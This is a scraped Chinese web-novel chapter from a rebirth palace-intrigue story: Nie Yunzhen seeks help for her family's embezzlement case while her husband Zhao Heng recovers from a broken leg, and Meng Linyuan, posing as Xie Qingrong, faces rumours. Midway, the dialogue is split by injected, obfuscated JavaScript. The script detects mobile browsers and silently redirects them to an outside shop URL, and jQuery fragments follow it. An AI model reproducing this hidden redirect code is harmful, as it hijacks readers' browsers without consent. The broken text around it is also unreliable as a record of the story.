默认冷灰
24号文字
方正启体

121. 贵女重生7

作者:一梦良玉本书字数:K更新时间:
    聂云珍及至门前,但见几个太医正低声议论,仆从皆屏息垂手,鸦雀不闻。


    她打帘进去,一股子药气混着血腥扑鼻而来。


    赵珩仰卧在紫檀榻上,面色惨白如纸,额上密密一层冷汗,一条右腿已用夹板固定,裹得层层叠叠,犹有血渍渗将出来。他双目紧闭,薄唇抿成一线,饶是这般狼狈,那眉宇间的冷峻孤峭竟未减分毫。


    赵珩正向侍立的太医询问:“如何?”


    那为首的太医忙躬身回话:“禀世子,万幸未曾伤及筋脉根本,只是胫骨断裂,需好生将养百日。臣等已用了最好的接骨膏,又开了安神止痛的方子,只是……”他略顿了顿,觑着赵珩脸色,“这百日之内,切忌挪动,更不可用力,否则恐留跛行之患。”


    赵珩“嗯”了一声,再无言语。聂云珍见他这般情状,心内五味杂陈。


    赵珩忽开口道:“你们下去罢,我有话同世子妃说。”


    屋内只剩二人。炭盆里银霜炭烧得正旺,哔哔剥剥的,反衬得四下里更静。聂云珍在床前绣墩上坐了,低声道:“可查着是何人所为?”


    赵珩不答,只盯着帐顶,半晌才道:“你父亲的事,你知道了?”


    聂云珍指尖一颤,轻轻“嗯”了一声。


    “席垣在江南织造任上,贪墨的银子不下二十万两。”赵珩淡淡道,“如今人证物证俱在,皇上已命三司会审。”


    聂云珍身子晃了晃,强自镇定道:“我父亲……也是不知情……”


    “不知情?”赵珩转过脸来看她,“席垣是他门生,年年节礼不曾断过,如今东窗事发,一句不知情便能开脱?”


    他说得急了些,牵动伤处,眉头骤然收紧。聂云珍忙起身要扶,却被他抬手挡开。


    “聂家的事,我会尽力。”他闭了闭眼,声音里透出浓浓的疲惫,“但如今我这腿……你也看到了。圣心如何,尚未可知。你回去吧,照顾好泓儿。”


    他这话说得平静,却像一盆冰水,将聂云珍最后一丝希望也浇灭了。尽力?上一世他也是这么说的,然后袖手旁观,只保下了她一人。


    聂云珍看着他苍白的侧脸,忽然想起前世聂家落难时,他也是这般的神情。那时她跪在冰冷的地上求他,他却只说:“朝堂之事,非内宅妇人可涉。”


    聂云珍独自在屋里坐了很久。炭盆里的火渐渐弱了,她也懒得叫人添,只望着那将熄未熄的红炭出神。前世今生,许多画面在眼前交叠。


    不,不能就这样算了。


    “春桃,”她唤道,“替我备车,要最不起眼的那辆青帷小车。”


    春桃大惊:“世子妃,这风雪天,您要去哪儿?世子方才还吩咐……”


    “不必多问,”聂云珍打断她,“我自有分寸。”


    马车碾过积雪,吱呀呀地驶出靖王府侧门。聂云珍裹着一件半旧的白狐斗篷,风帽压得很低。


    她撩开车帘一角,望着外头飞旋的雪片,和那些匆匆避让的行人,心里乱麻似的。她知道自己此举冒险,若被赵珩知晓,或是被旁人看见,不知要惹出多少闲话。可她顾不得了,聂家满门的性命,都系在这一线上。


    车至谢府所在的清晏坊,却未在正门前停留,而是绕到后街一条僻静巷子。聂云珍早年常来谢府,知道这里有个角门,平日只有采办的下人出入。她让车夫远远停了,自己扶着春桃的手下车,走到那扇黑漆小门前,迟疑片刻,终是抬手叩响了门环。


    -


    孟临渊听到随山的通传后微微蹙眉,早知道就不这么快打断赵珩的腿了。


    谢倾容毕竟不是重生,他只是从聂云珍那里听说了聂家被构陷入狱的事情。没想到都赶到一起了。


    要是赵珩没出事,说不定她还会缠赵珩一会而不是这么快找上谢府。


    “回了罢。”她声音淡淡的,“就说我身上不大爽利,正用药,不便见客。”


    随山在帘外应了声“是”,却又迟疑着补了一句:“少爷,那聂小姐说是有极要紧的事。”


    孟临渊随手从书架上抽了本前朝画论,漫不经心地翻着:“她自然有她的要紧事,我却未必有闲心听。去罢,话说得婉转些,莫要失了谢家的礼数。”


    孟临渊虽然不见她,但上一世聂家被放过,也并非全是谢倾容周旋的事情。所以这一世聂家依旧没有覆灭。


    除了靖王府和朝中一些谏官,谢家也出手了,本来谢聂两家就交好,再者官场上也有几分联系。


    这就是把握的分寸了,不能求情太多,会显得与聂家牵扯过深,惹来猜忌;也不能全然袖手,寒了其他依附者的心。


    不过这次不是由她出面,而是谢瑾容。


    她若有所思,看来上一世聂云珍认为的谢倾容对她出手相助也有很大水分啊。


    说到底聂家罪不至死,还有靖王府的背景在,皇帝也便敲打敲打而已。


    聂父最终只是罚俸三年,留任察看,这在滔天巨案中,已是从轻得不能再轻的处置。


    聂云珍得到这个消息又惊又喜,心头一块巨石方算落地。只是那喜意未及漫开,又化作了更深的惘然——原来这一世,竟是谢瑾容出的力。她那日冒雪求见,连谢倾容的面也不曾得见,倒是显得自己痴缠可笑了。


    而且因为她一直关心这件事,倒是发现了赵珩为她做的。聂家的事上,他确实尽力了。


    她不由得有些怨怼谢倾容来。亏她还以为他是个仁厚之人,不想是那样小肚鸡肠的,得知了退婚就记恨至今。想必前世也只是因为谢家才帮忙而已。


    赵珩腿伤渐愈,却对她越发疏离,常常独自在书房或外院,连用膳也常避开。


    她揣测,他定是知晓了自己曾私下求见谢倾容之事。否则,何以态度骤变至此?


    聂云珍等了几日,终究是用商量要紧事的理由请了赵珩过来。


    她正思索间,外头靴声囊囊,是赵珩回来了。他已能拄着拐慢慢走动,只是那步子沉得很,一步一顿,敲在人心上似的。小厮替他打起帘子,他进来,先立在门边,掸了掸玄色氅衣上沾着的雪粒子。


    聂云珍替他解了氅衣,欢喜道:“聂家的事……多谢世子费心。”


    “分内之事,何必言谢。”


    他这话说得疏离,聂云珍只垂首道:“还有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807721|182219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一桩事,那日冒雪去谢府……实是情急之下失了分寸。妾身与谢公子,自退婚后再无瓜葛,此番前去,亦不曾得见。往后断不会再这般莽撞,徒惹是非。”


    赵珩转脸看她,见她低眉垂目,眼圈儿微红,那楚楚之态,竟似一枝带雨梨花。静了半晌,他忽然叹了口气,伸手将她那绞得紧紧的绢子抽了出来。


    他声音缓了下来,“我这腿伤着,朝中又多有变故,是不愿将烦难带进内宅,让你忧心。”


    聂云珍挪近榻边,赵珩握住她的手,觉着指尖冰凉,便拢在自己掌中暖着。两人这般挨着,炭盆里的火哔剥一声,爆出几点火星。


    赵珩缓缓道,“只是还有一桩,须得说在前头。”


    他神色郑重起来:“聂家这事虽了,朝中风云却未歇。若往后……圣意或朝议有所指向,我身在局中,有些事不得不为。到那时,你可会怨我?”


    聂云珍怔了怔,旋即明白他话中深意。她反手握紧了他的手,抬起泪眼,目光却清明坚定:“妾身既嫁入王府,便是世子的人。朝堂之事,风云变幻,我虽愚钝,也知君臣父子,各有本分。世子如何行事,自有道理,我……断不会因此生分。”


    赵珩凝视她片刻,忽而唇角微扬,露出这些时日来难得的一点笑意:“当真?若往后我要为难谢倾容,你也不心疼?”


    聂云珍见他眸中隐有促狭之意,知他存心试探,便将身子轻轻靠向他未伤的左肩,细声道:“世子又说浑话。他如今是谢家的公子,我是靖王府的世子妃,各有各的路。我的心意,世子难道还不明白?”说着,耳根已悄悄红了。


    赵珩被她这般依偎着,温香软玉在侧,多日的郁结竟散了大半。他揽住她的肩,低笑道:“明白,自然明白。只是你这性子,往后有事不可再瞒着我独闯。那日若真去了谢府,叫人瞧见,成什么体统?”


    “再不敢了。”聂云珍软语应承,又抬眸细细看他脸色,“腿还疼得厉害么?太医开的药可按时用了?”


    两人这般絮絮说了好些体己话,前嫌尽释。


    -


    京中开始有了一些关于谢倾容的传言。


    渐渐地,流言在私底下传得更开了些,也添了更多细节。有说谢倾容恃才傲物,连翰林院前辈的邀约都时常推拒,只与权贵往来;有说他对圣上虽恭敬,实则目无下尘,曾在某次雅集上对某位老宗亲的诗作面露不屑。


    这些话,自然不会直接传到孟临渊耳朵里。但京城就这么大,世家盘根错节,谢府又树大招风,些许风吹草动,总有人会递个消息。


    孟临渊不由得被气笑了。


    赵珩也就算了,还有一些聂云珍的手笔,她在贵女小聚的场合,或是与交好的夫人闲谈时,似有似无的提起过。


    谢家也算帮了聂家,她这一番真是把谢家放在火上烤啊。


    这种德行有亏的流言不但会被政敌当靶子使,皇帝也难以容忍。更何况谢家本就势大,更容易被猜忌。


    孟临渊拣出支狼毫,取过水盂,慢慢将残墨化开。


    既然他们非要将“谢倾容”当成假想敌,她不介意让这潭水更浑些。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)